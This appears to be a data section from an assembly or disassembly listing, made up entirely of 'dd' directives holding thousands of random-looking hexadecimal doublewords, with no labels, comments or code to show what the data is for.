		dd 33B0C206h, 0D0581F0Ch, 922600BFh, 0C3F8CF75h, 0D9DE1444h
		dd 0AACEB3C2h, 542E0D9Ah, 0CA8BDBBBh, 3E90E43Fh, 0F4F5CFF9h
		dd 95ADF7C6h, 2DA78C6Bh, 0DA68D2C5h, 7E0EFCA7h,	0A8512E89h
		dd 7E4BC25Ch, 2E795B19h, 0A361E8F2h, 0D2821EC8h, 0DD971CDCh
		dd 5B5B1AC1h, 3822F995h, 407A7F4h, 0E15F28ABh, 1B9E4DFCh
		dd 0C7096A4h, 0D11E3E58h, 0C91670C9h, 45946901h, 39668D3Ah
		dd 0C2516061h, 0FC09D1B2h, 5355B7E3h, 3E2FDEFFh, 0A9552279h
		dd 0FF22FB2Fh, 0F6545FE8h, 3DE4AA8Ch, 895CE740h, 86DCA642h
		dd 9E4DA22Ah, 0B7B76242h, 60FA7081h, 5DC3B28Ch,	911A7C3Bh
		dd 0A468276Ch, 655358D1h, 0E00983EDh, 0AB0F2B7Dh, 0AC226F47h
		dd 0E4412C31h, 1E2E4D02h, 0F64038A4h, 0F21251FEh, 0EF6D33AFh
		dd 0C56A8C2Fh, 511F6EA5h, 0D249446Eh, 44815FA2h, 0A289165Bh
		dd 0F75AE5F6h, 4B6ECA78h, 0AA8FA42Ch, 3E91CF42h, 0B6C5B123h
		dd 0B2EF4210h, 0E9D3E5B9h, 754A95Ch, 152941AEh,	696BE05Bh
		dd 8607032h, 0EBA89EA5h, 0D477344h, 9CC82C9Eh, 0A397A9CAh
		dd 45322262h, 143E9AACh, 8C6BB683h, 22BF03A9h, 0DAB9DE23h
		dd 0AA842082h, 23D096BEh, 0E4B04E44h, 757ACF00h, 9BF4BB65h
		dd 69FD2C0Dh, 0B4E18B12h, 87E973BEh, 0A944EC4Fh, 2C5B47CCh
		dd 7B5E3446h, 0D919C475h, 0A774C1BAh, 22EE1425h, 4FFEB1B8h
		dd 0B60181C7h, 4EE5EAE9h, 86895D3h, 0D0D5D43Ah,	952059B7h
		dd 0EE2E3DA5h, 43D814B8h, 2C855D9Ch, 0CCF9C843h, 94FCD3C3h
		dd 3A9D6E49h, 0E68D7D46h, 0DCDC1915h, 0D11BDE6Bh, 40C71E7h
		dd 1222297Ah, 0F7C5A0F9h, 0BD74EECh, 928DF1EEh,	0AB1F1A9Ch
		dd 0A3071DA4h, 8795CFF9h, 3A236C2Dh, 0A4129E19h, 0C80CD86Fh
		dd 0C2FAEAC2h, 0F593418Ah, 2136A2E9h, 5D992E13h, 0E1E4C78Bh
		dd 4E615419h, 6A2D0912h, 84FE475Ch, 0CA38795Ch,	58E9AED4h
		dd 0D32229B5h, 525AEF30h, 0AD2F99DCh, 0D572E764h, 0CF431828h
		dd 0E434172Ch, 0CDD853BAh, 2CE3CE83h, 0EC246D1Dh, 49F43277h
		dd 0C1DDDFBCh, 6BE60B54h, 7DB2B755h, 1C64D9C2h,	0A4F918h
		dd 0E7884374h, 0C49956DCh, 87971BF2h, 0CD67FBBCh, 8F4BF1EAh
		dd 0AD436E07h, 0DD394419h, 4A751A31h, 0C7415B3Ah, 90C16F86h
		dd 5516D60Eh, 0E37DEBB4h, 0D326690Dh, 0D28CDB38h, 20CEE445h
		dd 76CCD049h, 3EB6EA33h, 2F72E2E7h, 9BAA451Bh, 0C8F27D11h
		dd 7822D783h, 4D16F906h, 786D5D70h, 90C0540Dh, 2B1A0BD2h
		dd 8372B07h, 9D5C686Ch,	5A378077h, 0D7B7B1BEh, 92C48A44h
		dd 2BB1E017h, 81D9C01Eh, 74F512Bh, 0FF6F472h, 0A6608E69h
		dd 27693459h, 3FE05E5Ch, 0A3BEF38Eh, 10B9FA8Ah,	0E5E47C4Bh
		dd 0D1C6664Ah, 0B6068FF3h, 3CC66391h, 75EDCDC8h, 44E70395h
		dd 83B35161h, 0A1BF4414h, 791E7BD8h, 0D6786514h, 0DC60731Eh
		dd 0A0B02B70h, 77D759D3h, 4EC78882h, 65EFCB3Eh,	0B5EFB703h
		dd 0D327A824h, 6CDB5C4Ch, 0D4C2C5BFh, 7FD36D75h, 7DD44EC0h
		dd 0A1E3BA29h, 7350C9A9h, 7620CAF5h, 1D8FD259h,	0BB404CB2h
		dd 0F1B037D5h, 2C7D2A6h, 1B5997ACh, 19F8E6ADh, 0A30F1398h
		dd 3067D1C9h, 5A90AAE2h, 3ED69A5Bh, 0A0DE13FBh,	0F8D1A87Ch
		dd 0B6F3D948h, 0DF68E97Ah, 3C61FA78h, 0AB2131C9h, 86F47C37h
		dd 2601C1B5h, 6A51EB23h, 990AB824h, 2F527317h, 0ACC34508h
		dd 400D4107h, 72422B2Ch, 3FEB3D01h, 0E2D1C0F2h,	953BB6FBh
		dd 19D0F879h, 8D5FC029h, 303260C2h, 0C2D1A184h,	4AB63AB7h
		dd 0BF6F4C40h, 6D5D9A80h, 0DE2725CDh, 0C991C611h, 8383B004h
		dd 0EFC64E0h, 8BC2E82Fh, 0F2D2625Dh, 0D285D63Fh, 1BC82B31h
		dd 677037A4h, 8F855988h, 2B7FA747h, 34838EF1h, 0E6684709h
		dd 1B21E318h, 0FC0ABC48h, 20BCB438h, 0C0763B3Fh, 20B9E881h
		dd 0BA7375A7h, 0D572F632h, 0DEA6FC85h, 0B40FA8A2h, 0A197BD65h
		dd 78283234h, 0EAB821C5h, 67D9CB8Ah, 30378550h,	0ADBDF68Dh
		dd 0EB0281BEh, 2E483526h, 8570752h, 0AEA839FFh,	0E7D2E6FFh
		dd 0C8E93F3h, 713A967Bh, 67A697A8h, 627510AFh, 0AD7DEE2Ah
		dd 36A49BF4h, 9CC87CA0h, 0DC71DAD9h, 0AB6FD9C5h, 8C3AC8Ch
		dd 38CC6CF7h, 0FB4147DCh, 53993AB3h, 0A706A76Bh, 0F2329966h
		dd 53386604h, 660B3AB6h, 0B38AB187h, 85BCB090h,	30CF137Ch
		dd 76B9F0FAh, 96656F83h, 3775B87Bh, 8B99F4B1h, 36FB7FE6h
		dd 0F85DB03Dh, 88547F02h, 0E2126F4h, 2F2D1E65h,	0A2840103h
		dd 2BD7F95h, 0A3ACC03h,	0B3CA2785h, 0D6327A19h,	8B79328h
		dd 0B5B448F1h, 5095FAEBh, 88F21A75h, 139A2A0Bh,	984E21ACh
		dd 37FE2B5Fh, 0EEF7BE23h, 7B3D6FC1h, 47258A5h, 0D9D77D2Eh
		dd 0D1232D6Ch, 4C471BA1h, 0F644179Ah, 0E33619C3h, 0FD3E2E21h
		dd 0AB9F593Fh, 8A0289CDh, 99405E81h, 7FA6BAC3h,	0D13D7AD4h
		dd 0E3F6955Ah, 0B5F477BBh, 0BBFD5062h, 0F035E58Dh, 0A8DB6456h
		dd 0FC8B2474h, 0A9013408h, 0F9A98B63h, 0E74FC9FBh, 132F25DCh
		dd 4A82A75Ah, 813B6671h, 69D19CBCh, 0E77B09FEh,	0D5968C31h
		dd 80AEF78Dh, 9BBF22Dh,	0E751948Ah, 38B7C616h, 202D6C82h
		dd 26AA4B36h, 14852967h, 0E65D758Bh, 90E6F816h,	54B88ECBh
		dd 8B5CA9Bh, 0E89C29E4h, 0DCB066B1h, 86EC85E0h,	39DFE95Fh
		dd 47EA5949h, 0D53BC55Dh, 0C3317266h, 0D364FAC3h, 0F11B6DB0h
		dd 5D81186Ah, 5E079120h, 0C7FD2E78h, 5F9EB3CCh,	0A317D7ECh
		dd 740DFEDBh, 5A3FD06Eh, 0C180D25Eh, 0FFBB486Fh, 0B683B298h
		dd 59A25EB4h, 2982048Ah, 0B3579DE4h, 64212BF9h,	0C9930C08h
		dd 0ED9EA80h, 26C12CB6h, 96B50A4Bh, 0F9D5C9B6h,	0E6B48473h
		dd 904B6589h, 2C071885h, 42B59472h, 1CCE9894h, 6AF94A52h
		dd 97AF55Eh, 4D55F437h,	0A0DE8A23h, 0F0D759E3h,	0A671D89Dh
		dd 20F1B5DCh, 7CBBAC5h,	9D442133h, 2A4BB449h, 0DAE06E0Eh
		dd 4E4ACA3Fh, 0C474E8CDh, 63B6C65Fh, 8E1125Ah, 9972AA28h
		dd 7B973F80h, 0BDD8C87Dh, 0A75011BBh, 8167A616h, 0F994B61Dh
		dd 0A92607Eh, 95DF62Eh
		dd 0BECF9ED6h, 0F7930FE0h, 0E952E974h, 67BF170Dh, 61B2A9C7h
		dd 232E5DD4h, 0EBF9D3B8h, 0EB01161Bh, 1CE543B7h, 768DFF72h
		dd 56E264D6h, 654178FEh, 9AA401E8h, 3551F762h, 0DF349FE6h
		dd 47082470h, 0F627B961h, 0A49AE9EDh, 15F7DA3Dh, 469B0B3Ah
		dd 0F332254Ah, 60D60D82h, 0ECA41436h, 10EA891Ah, 0EB0BFA37h
		dd 756E80EBh, 2F70694h,	0EEA84206h, 0CED20BFBh,	0C521D584h
		dd 92D93D16h, 2EE031D3h, 0FD33B0DAh, 379BFAA6h,	0ED65F3A1h
		dd 0ABAB19DEh, 0CEF9AE1Eh, 17A4683Dh, 0EFCF3E5Dh, 438E8A4Bh
		dd 76FD5D73h, 0C9B08E11h, 0D2FBD30Ch, 898C76EFh, 17429B92h
		dd 86AA3E0Eh, 9421619h,	0B2B132A5h, 0A31A2896h,	7FE0868Fh
		dd 0B7A92FE1h, 0DCC3C6C3h, 0FA38FB5Ch, 0CC942AE6h, 161551A4h
		dd 606DEEFEh, 0A2F443D7h, 0ECF2FE29h, 14838E12h, 0FD5D125Bh
		dd 17F551CDh, 8C917625h, 5C190C5Eh, 27993020h, 42626826h
		dd 8E2BB816h, 70AC5FA2h, 23D8F13Dh, 718DAF66h, 0AB86A20Eh
		dd 73256748h, 4B4331ADh, 0F9B1BCB6h, 0D9DF70F9h, 727CCA2Eh
		dd 2686FAA6h, 5ABB0326h, 2F7710h, 8D561C34h, 4307A68Bh
		dd 81D18929h, 0AB8510F3h, 0BBA2D1Ch, 0C6B5CA18h, 0AF23C69Eh
		dd 2BDD16BCh, 410BE27h,	92650E1Eh, 4E54AC71h, 0FA10A588h
		dd 0E991F354h, 9E8834DAh, 55CD65Ah, 90F1566Eh, 2BC61BF6h
		dd 6682AD05h, 0E5BBF72h, 98FE9FDEh, 439E69EAh, 2D92F768h
		dd 0A7238615h, 0BEA950F1h, 6F8A96D0h, 58CF4D31h, 0FEFF88C4h
		dd 3B95C010h, 27C50C0Ch, 7D393ED3h, 0A6FD2077h,	69FA4D76h
		dd 1C3EA7C6h, 13F2B8A7h, 7CBC2CB7h, 49B7AACEh, 6E0BFDF9h
		dd 0F360DD36h, 92D6410Fh, 0AD654EE7h, 0AA4E84F6h, 21D7E6B9h
		dd 2C0E1B1Bh, 0DBB2A3ACh, 291434A6h, 651261FAh,	0F95393D5h
		dd 12C66229h, 522BCC95h, 44B7F702h, 9AC170C1h, 0CF400E6Bh
		dd 71E70162h, 40D331B5h, 0FA0835D6h, 0C38CDE01h, 386BE649h
		dd 0C43A5B20h, 47FB5E09h, 20871E30h, 0C8A576C8h, 4445683h
		dd 103EBEE7h, 52EA9808h, 0D6F2F720h, 35FDD74Ch,	0AC97A73Bh
		dd 0A6A5B927h, 39947297h, 7BDE21A0h, 4C7163A3h,	0E6769C90h
		dd 0AF1AF686h, 0E6DD7A64h, 7EBA56D5h, 0AA57D8C6h, 58B6EBB8h
		dd 0FAD76E3Bh, 0D0A647ADh, 0CD36DB3Ch, 45515B03h, 0E79536B4h
		dd 4278CBBAh, 3A0AB124h, 24B1E24Bh, 0D7FB54ABh,	28A95B23h
		dd 5D3DC5A2h, 56C4F95h,	91ABB312h, 0E77C33B0h, 3FA8BA0h
		dd 63A19190h, 0A97CFDB2h, 845D233h, 6FCB9273h, 3E351881h
		dd 0F51F5406h, 0B5BEBA05h, 0F71566ECh, 3A2EE44Fh, 719F464Ch
		dd 96666A0Ah, 8BAFC64Ah, 0C718D10Ch, 16A749EBh,	0BF9465C6h
		dd 93EA121Ch, 0F1015E0Eh, 0CA74744Ch, 0F42D7384h, 0D10FFD77h
		dd 5C23D16Eh, 0CF9EACF4h, 5D432162h, 0CE1013Ah,	2EBB2948h
		dd 90D33848h, 15788CA9h, 9687E88Eh, 0EA2669B3h,	0BAA4C61Eh
		dd 0D6390C56h, 0D75A9AA9h, 0C3317D88h, 71DB6F32h, 6E273A27h
		dd 5B350096h, 74443E3h,	0BC9756DCh, 0C84E0F96h,	0AB8770E7h
		dd 5100F8D4h, 939E40CBh, 77CFC0EAh, 84FEFA7Ah, 9E54E341h
		dd 604E0DE7h, 5A70B344h, 2552501h, 25F3ACD9h, 168E9C4Fh
		dd 17ED50B5h, 5E86E017h, 0EB4AF2BBh, 93EC9258h,	0C63DE88Bh
		dd 0E40D9D52h, 0ADA17542h, 7F6A25ECh, 0C336FBFCh, 194246AEh
		dd 0C7130270h, 68FF3708h, 0BB268104h, 0A3ADC639h, 251E38D2h
		dd 76F39A55h, 0B6714705h, 127239F2h, 9E46030Eh,	0ECB8604Fh
		dd 0F68C1B33h, 21C56DEEh, 41CEF79Eh, 0AAB8F78Bh, 0B1D98C66h
		dd 4B1ED31Dh, 296DB2B0h, 2C4D44E1h, 0C4AA62EBh,	7318656Bh
		dd 0D381FC24h, 734D03DBh, 0F2466E06h, 9E1D87ABh, 6D705EEFh
		dd 0D3C67A9Ch, 4CADFA48h, 24280165h, 87069B16h,	46E2E1B4h
		dd 26F6BA2Ch, 4E7122F1h, 1340C9B0h, 1D5F300Bh, 3C7184CCh
		dd 51A13BAAh, 0AB737EC6h, 4E39111Eh, 8E64EDFBh,	39DD536Eh
		dd 0A8DB1D7h, 6F866D39h, 0BF429A6Dh, 534C4B29h,	0E57DD04Eh
		dd 62986545h, 4EB56770h, 5D1402A6h, 0B2813C6Dh,	0E56A3F6Fh
		dd 7C693933h, 147429E4h, 3C7BBA16h, 75A0C403h, 0CAB07FDDh
		dd 533C8C38h, 0A1458455h, 0B178B6E3h, 0B187063h, 99446592h
		dd 8844B8EEh, 0F7E3A336h, 366A01A3h, 0D5C714C5h, 277F17C2h
		dd 89CDFC1Bh, 946E19FCh, 0F1503FACh, 0C8C1A1DDh, 61DB4105h
		dd 27B7FB50h, 0AF39B2F8h, 5EF274B2h, 55757C68h,	848CF125h
		dd 9DDD1E99h, 36E90C5Bh, 1A16E540h, 3175C31Ah, 27E9F157h
		dd 0B4D2DCEh, 0B1F64044h, 766D1964h, 68E6271Ch,	0B43A96E8h
		dd 0DD29A03Dh, 1ADCEB77h, 73ED10F9h, 0DF4FF23Eh, 0BCF6CA3Ah
		dd 2EF09261h, 0C6090FFEh, 0D9DA9533h, 0EDA0D764h, 0CE5D11D2h
		dd 7D4F2627h, 492AC32Eh, 97659C51h, 0B95C167Ch,	716C0348h
		dd 0C86CD1EFh, 0EB6F2CF6h, 0DA1399B8h, 0D5091B9Ah, 1DA9D80Eh
		dd 9952F087h, 8AD56CE9h, 7D8DBF4Fh, 0AC2138h, 787C9641h
		dd 0CA05512Ah, 0E14D1CF2h, 0AAB95070h, 5CB36321h, 0FA2BA201h
		dd 7A2C79D1h, 4E1EC07Eh, 0E625615h, 0A87B88E9h,	1129CC75h
		dd 93A721F0h, 0BFAD0445h, 8E401617h, 40D49FF7h,	0F68BAF0Dh
		dd 0DFB7E55Dh, 0A7FE509Bh, 0C4F88326h, 12E7717Ah, 0E9442402h
		dd 344107EBh, 97E5AA08h, 0F88D80BBh, 9FC28F65h,	50F0CF91h
		dd 38290C8Fh, 434A1A67h, 50B1CA8Fh, 9FB5FC49h, 41F41353h
		dd 7742AD43h, 38376237h, 848A483h, 0CEA410CEh, 0AA2C374Fh
		dd 579C715Dh, 0D1565BE9h, 2AED54EDh, 0D8E82BF4h, 0FE551C5Dh
		dd 9A487096h, 0CFDFAB1Dh, 0E828F989h, 0C127F726h, 583E50CAh
		dd 0F56DCCC5h, 6783D40Bh, 0FCFD97F1h, 38F7B833h, 0E175F1BFh
		dd 9EE87BE0h, 0B7FB5E1Eh, 0D1D681DEh, 66AD9180h, 454FBE7Dh
		dd 46DA114Ah, 4127CCD0h, 0AB74D0B6h, 7DFCB04Bh,	3B0B959Dh
		dd 673DE21Bh, 0F6A36429h, 0EE6629B4h, 5DFD3415h, 0F6F964C6h
		dd 0B1942D03h, 4C4E7FF2h, 20EBF396h, 0BD35C382h, 22DE5EBBh
		dd 5B207A37h, 564C7DE0h, 0EFEEA613h, 153F6B26h,	96AC79EBh
		dd 268DE8D8h, 490B2A9Bh, 9B09E756h, 9B7CF5A4h, 3190FE2Bh
		dd 20352DFCh, 0BD78D849h, 0FFF155AEh, 1071A7E7h, 6F1E8294h
		dd 617CF41Ah, 3BCF487h,	97F0F0A5h, 0A3749571h, 91B54FE2h
		dd 0F67BBFAAh, 37969CF3h, 47620B41h, 6B6A3184h,	34D4AEDDh
		dd 84D2FF32h, 95E9B390h, 338F0795h, 0A317E39Bh,	62B1186Eh
		dd 35C5B197h, 9A9CDEFFh, 1A4B6428h, 0BE6C8E43h,	81C978F3h
		dd 7F8EC57Ch, 763B2980h, 0A8DFF7FDh, 380B5Ch, 0B52834B2h
		dd 0F34B11E1h, 0E731F871h, 39FBB51Ah, 6E2D32D7h, 909CCFABh
		dd 9F2385DEh, 0CFAC3CB2h, 552FA1A6h, 0F8C88806h, 95C358E7h
		dd 8C623DA4h, 4CFFA83Eh, 5693234Eh, 0B4976A87h,	0E3C8DC02h
		dd 29CAEDA4h, 4567164Eh, 30218629h, 25C0DEBDh, 61CCE389h
		dd 10E536B0h, 37EFFD5Dh, 7361ED52h, 25C85E65h, 198BBFD1h
		dd 0FD9EE2ADh, 363CAACh, 1849A939h, 132A9421h, 4E8DBA34h
		dd 6340B939h, 0EBFF1B9h, 1FE6FEB7h, 0E062B08Dh,	2FD52D57h
		dd 0B79848h, 0E600EA4Bh, 2AF0B915h, 821481DFh, 0F3CDCC5Dh
		dd 1C3B52FDh, 0DE77DB40h, 4A295890h, 0EF225F6h,	0A6246A0Eh
		dd 0C9696091h, 25761970h, 0ED816041h, 9AE021ABh, 0C7339657h
		dd 6EA2B4CBh, 8ADD2673h, 376410BDh, 698F23A0h, 3E3ED057h
		dd 455C3C41h, 0D4A830D1h, 21E21E41h, 1405D7A9h,	0EDF83B74h
		dd 0D1CE5EC4h, 0A56ED6Ch
		dd 7683D35Eh, 892E5E72h, 2C0D1C8Bh, 0BE002B5Bh,	0CFC93A51h
		dd 39EB7EF4h, 51942D98h, 66D8ED1Eh, 751964ADh, 0A96613F7h
		dd 0DF65EC1Fh, 6C12EFF0h, 0EF86C708h, 34A343DCh, 0CE65AB4h
		dd 668362A0h, 3139364Eh, 2213918Fh, 0D3B1B6A4h,	206DAA76h
		dd 5CDCF495h, 52D01BECh, 36A823F3h, 6A8F0514h, 0BA6658BCh
		dd 3450EF00h, 0E7A5AA58h, 0CD611861h, 84D21C35h, 9F7FAE31h
		dd 104FF14h, 0A3AB47EDh, 271B3635h, 0FEF80E3Ch,	0CED19E20h
		dd 0BA74D426h, 0D6763E89h, 90730D3Ah, 78B1B620h, 960460ACh
		dd 0DCBE33BCh, 0D4842AFAh, 827E9B8Ch, 753F1783h, 0D6FE2A0Eh
		dd 87C5374Ah, 57ED3D66h, 0A858797Dh, 0BCF295F3h, 5976FDEBh
		dd 0A9723B29h, 0F668DBACh, 56A16478h, 9F5046CEh, 0FC1756ADh
		dd 12BF1F3Bh, 0B9443107h, 884B8654h, 7FA88567h,	0AFC14B25h
		dd 0AF5C0A85h, 0B5A98707h, 0DBDF173Bh, 0B0C0ADF4h, 53C79631h
		dd 476A40FEh, 0AFF83E03h, 0AE33D102h, 1EEBEA92h, 83FCCD0Eh
		dd 0A106AB85h, 0A7EB0506h, 0ED20913Dh, 86A3C9C2h, 8335BEFDh
		dd 0B9529913h, 0A1BA26F8h, 783A45B2h, 0D6EF3577h, 792D1690h
		dd 0C767502Dh, 0A56E5889h, 96542CA6h, 5868AE0Dh, 0C4EEC264h
		dd 0CB59CF70h, 3C3467BBh, 5D7F1A62h, 0FBDCABADh, 4BACAF5Ah
		dd 0F119F7AAh, 29D4DB17h, 284BA5F4h, 0D3AD7589h, 0FEC69356h
		dd 0AB18A2F3h, 24A33404h, 0A0310C70h, 0EA2DF3B0h, 0E653138Dh
		dd 0EE310C35h, 0F54FED5Dh, 3EBC1F2Dh, 7049EB94h, 0AFF94ADAh
		dd 0CBB46FBAh, 0E7237920h, 64F3E2D0h, 7D2277h, 9AC75736h
		dd 8609A3ECh, 604834CBh, 1E5394F5h, 2908F251h, 0F95703E3h
		dd 93A3C0E2h, 0E1EA7020h, 2F3EEC5Eh, 876B3C9Ah,	0E993C60Eh
		dd 72F8D59Bh, 2600E5D2h, 0AEDBF29Ch, 8B895922h,	0A2309ACAh
		dd 0B81BE6ABh, 73555AC7h, 0E2B69B5h, 0C47C4E5Ah, 490A4B53h
		dd 0F5AF705Dh, 0C27C3218h, 0E39D2E29h, 0A60CC8D7h, 3C051751h
		dd 0EBDF5E7Ch, 0CF12CC9Bh, 0E5F96C21h, 97F4E0Ah, 0BA6D41AAh
		dd 7E54D5EEh, 0DD1C0219h, 95190BB9h, 361700A4h,	0DADEC672h
		dd 0D9FE3417h, 44540A5h, 95909818h, 3667F1F4h, 1F9EBEE7h
		dd 1F138EA9h, 0BC7AD854h, 94297B6Fh, 0BF84FBBFh, 339D8C0Ch
		dd 0AA5E0E95h, 90473313h, 1AF33018h, 0A5A4A181h, 0A0845744h
		dd 0CBC5BF60h, 16615142h, 7B89CA41h, 7FF3E8B8h,	0DACC649Fh
		dd 0AAA5079Fh, 0C85A88B7h, 6F4BA7CFh, 0EA6B0181h, 3C64630Ah
		dd 0A650BF75h, 1C2B3FB3h, 85DFEFFCh, 0B3FD0E42h, 0C2928D37h
		dd 0C1B56A11h, 0C994E03Fh, 0D2D743Ch, 3123ECD4h, 34EEBA9Eh
		dd 0FAD8B9E7h, 0E1140EA8h, 70C1FC56h, 3F540135h, 54D29862h
		dd 0F49FCD98h, 0E7EB3104h, 2D792A5Fh, 0CF7A18D7h, 37F8F50Eh
		dd 0C3173019h, 9F499E87h, 0FE3EAD43h, 6283E5C4h, 8454A230h
		dd 94814CD6h, 0C9543EA7h, 5B7156B9h, 0C30FF7B3h, 87ABC2B3h
		dd 27ECFB0Fh, 0FE5FB7F4h, 495872Ah, 2C302018h, 89980114h
		dd 0E23F8E0Ah, 6650D08Fh, 5FCC0765h, 84F1F518h,	13B32038h
		dd 0F2F843FBh, 0D6C67F91h, 0C65F392Ch, 0A6B924CEh, 998C8CF5h
		dd 0F9C3F156h, 0D77440B7h, 6AC1324Eh, 0ACD14ACDh, 1C6CEE46h
		dd 0E734F4D0h, 0C586FF1Dh, 7532FC3Ah, 2EB14FEDh, 1BC68ED1h
		dd 975C8B0Fh, 0E400BF3Eh, 8D58CB2Ch, 4C97E462h,	0A492D0E3h
		dd 0FEE93BBBh, 0D125D1F5h, 0F01D830Bh, 3EDB7840h, 0D8E48F90h
		dd 2FE6EE26h, 6E4067D8h, 0F97D5748h, 25E7AA71h,	8D9FC01Eh
		dd 63A2F6B9h, 0AFC0AB99h, 0CA851B9h, 2B6E8789h,	5FBDBEE3h
		dd 0FD095443h, 6C378331h, 0D375D978h, 83072121h, 0B224B866h
		dd 6222CCFh, 2C4458C7h,	0BA585A02h, 1E8C93E8h, 0A182C200h
		dd 2A0A0307h, 82767645h, 0CED302CFh, 5FFED939h,	0A9438C5h
		dd 5DAC3977h, 8F4C4C44h, 8614BBEh, 4B8AE0D1h, 0D57FE8D2h
		dd 0F3094950h, 4085BF21h, 9C23070Ah, 6CB25742h,	0D8AE940Ch
		dd 0A0916B64h, 46F66093h, 0F43BC90Fh, 1236D53Ch, 0B60CF7F6h
		dd 38D0258Fh, 1FE59CFBh, 0FBDEC58Eh, 0AD4BA957h, 0B6DD63B0h
		dd 72CB1EF3h, 0E2D2A7C8h, 25F2E2B6h, 70924528h,	0EEDA450Bh
		dd 0FFEECB8Dh, 0EA1DA3DAh, 49E9BC1Ah, 735E901Ah, 34E1266Eh
		dd 1510FCFh, 0E6AA39D2h, 88499C72h, 56C88B64h, 0D01AD8A6h
		dd 0EB32019Ch, 0D2E9BCBBh, 8353A77h, 9FA2CC77h,	26A15929h
		dd 0F7FC417Eh, 3E478F18h, 5B69BFB2h, 804AF740h,	6F0457A8h
		dd 19E4308Eh, 5E0E2444h, 18529954h, 722E3882h, 0C01C9D75h
		dd 0B8FA13E2h, 0D807190Dh, 60D374EEh, 1F4B4219h, 0ECA7D12Fh
		dd 1A4DD563h, 1B7816FDh, 0D93C8186h, 0DAAF2988h, 0E05FB6D6h
		dd 296CD81Dh, 3B0F1B16h, 45C5FD0h, 1FC4FC54h, 92D5142Fh
		dd 79CF0A5Ch, 3A9C9285h, 0ECCCD8EBh, 0D11DEA0h,	0A6D0F42Ah
		dd 730BE9C3h, 2186FC25h, 2340337Ah, 0DBBA5073h,	644848FBh
		dd 642BD6EEh, 0DE9D42C2h, 89730F30h, 90B8656Ch,	0B312008Eh
		dd 70055F3Ch, 7AE6854Ch, 50340943h, 59003874h, 0B66919FEh
		dd 262E7DD4h, 2A742DC1h, 505A6EE4h, 0A205BE58h,	0B82323FEh
		dd 80B1AFEAh, 9EB8B5B7h, 987A1F70h, 0C94FC410h,	80CBE88h
		dd 3294BFF7h, 1F89A509h, 0B4551E78h, 9415DB4Ch,	0A4E225A0h
		dd 14789A69h, 24F77AF6h, 1716438Ah, 20D342D7h, 0ED983E56h
		dd 960E18B3h, 370B0A12h, 49C63E9h, 9CE78AABh, 0FF6B481h
		dd 8F8866F2h, 0C0DAD2BBh, 7EF8E39Dh, 0A2BC4838h, 18B41B2Ah
		dd 98FC7795h, 0EC909AA9h, 0C4BAAD26h, 4905BCD2h, 6CE8D3Ah
		dd 41A82795h, 0AFE71CDh, 26FB7DAFh, 79C0A4ECh, 0E1BA7B12h
		dd 0A4C78105h, 9C333787h, 6F97F330h, 374637A9h,	4682EEEEh
		dd 0ABA7D825h, 670181E9h, 0E3B19042h, 23FAE331h, 5FE7E16Bh
		dd 7DE93D5Bh, 0ACF4636h, 84C04051h, 0C1A7CF18h,	0F8B284EEh
		dd 9B178794h, 81217F4Dh, 0BB9B6407h, 95CED827h,	0ACA51695h
		dd 0B5A412BCh, 84F2321Ah, 821668F6h, 8CE93F1Dh,	0F85448ABh
		dd 24BFD395h, 5B5DA036h, 36DE09ECh, 0B30E39CAh,	0BEAD0D23h
		dd 50E7FFC1h, 79D2D59Dh, 0FE4C638Bh, 1C7AC8E8h,	0FF5858E5h
		dd 0C0F94BEDh, 5D9619CAh, 17065002h, 0CDA65DA4h, 0DE77664Ch
		dd 49D1494Dh, 574F5C0Fh, 71C764B9h, 0B4FF34FAh,	4C4F5BBFh
		dd 264EFE84h, 70E2EBA3h, 9E7ABBD0h, 9F23EFB9h, 28DB74A9h
		dd 92C9FE77h, 28D3FADEh, 0D3948622h, 0C610B3D1h, 0BA4BF262h
		dd 48E13C63h, 422788EFh, 4235D830h, 36451007h, 7F297AECh
		dd 1B433F88h, 0E2EF3671h, 8DAA648Bh, 0D1A47805h, 0F8953287h
		dd 651B088h, 2BF68241h,	39BF8FE8h, 0C5E07DD2h, 317EA022h
		dd 0E7FB476h, 0F924A2F7h, 5A5C76F4h, 0FA65B082h, 0E6E6FC81h
		dd 0E7B0E8C8h, 209631B4h, 0B6AEE2A2h, 0EDFB6326h, 0AB4443CAh
		dd 41B264CBh, 0A6613EDFh, 8A5839F2h, 90683802h,	924D52F2h
		dd 0A4E77561h, 0A2ECD8A9h, 24EF61D9h, 66B05650h, 0BAEFFE2Eh
		dd 71DB041Ah, 95F9476Fh, 4BC9C8FAh, 0C45832C8h,	5963A94Ah
		dd 204E7B80h, 781A8B0Fh, 90665F8Fh, 0A45A5DACh,	4D006FB6h
		dd 0D4B97C4Ch, 10E02AF3h, 51A5BC58h, 0E9131E71h, 56A48411h
		dd 53ACF6DBh, 0DA051F99h, 0F7E38E56h, 1874E31h,	0EB611640h
		dd 0A3B98B76h, 8C97D6EEh, 92C866BAh, 0B48A8AFCh, 60FB9EAAh
		dd 7708077Eh, 958540BBh, 0D3E65E39h, 0BBEF80A5h, 0C05C2185h
		dd 519585C2h, 636D08BFh, 0AC778903h, 0B25C9592h, 0C99C6292h
		dd 0FCF2A947h, 992E83A8h
		dd 0BA7A4970h, 0E6B00ABAh, 0DBA4134Ah, 0E8C8785Fh, 4AE333Bh
		dd 2A0BD4BCh, 0E469D1E8h, 788F39DEh, 0FAD7BC1Dh, 6CAB1C1Ah
		dd 0B3FFF4DAh, 0CA3EBFDDh, 0ACFBDF71h, 568A20EAh, 0A5E85470h
		dd 0A4071576h, 0E9279850h, 0FA0DA285h, 0F9D0B53Ch, 8EB3D983h
		dd 2F57C52h, 6096A5C6h,	51FA5428h, 0ACE5B9A0h, 0B5A6924Fh
		dd 0D6DF80CBh, 0E3329453h, 52CDCFBBh, 85EE7F7Eh, 0F4EF0BC1h
		dd 1B0C772Bh, 0A0F24253h, 3697AD3Eh, 809D7344h,	38E6B10h
		dd 92A9DE9Fh, 7C633ACBh, 54A82224h, 0F2575172h,	3EA04E48h
		dd 495E80DEh, 0FE4C8846h, 924443A4h, 0A2B9AADBh, 25C1DEDAh
		dd 636C67D9h, 8DA906C2h, 0D93C8940h, 20C8140Bh,	0FD66DA34h
		dd 0A9093607h, 353AD981h, 69A9A54Dh, 7441AD70h,	2239344Ah
		dd 6D7BF44Dh, 1F43F5EAh, 211DB898h, 9D66807Bh, 78C36D4h
		dd 0F18F15BBh, 6D6D03CCh, 552E0A63h, 0D47E0A56h, 40AD165Fh
		dd 0FD3B8ADBh, 35D379E5h, 0F57BDAD2h, 5FD803E3h, 99D3B670h
		dd 55D44C1Ch, 733D17AAh, 817CC888h, 0F6258C7h, 4CAF0B30h
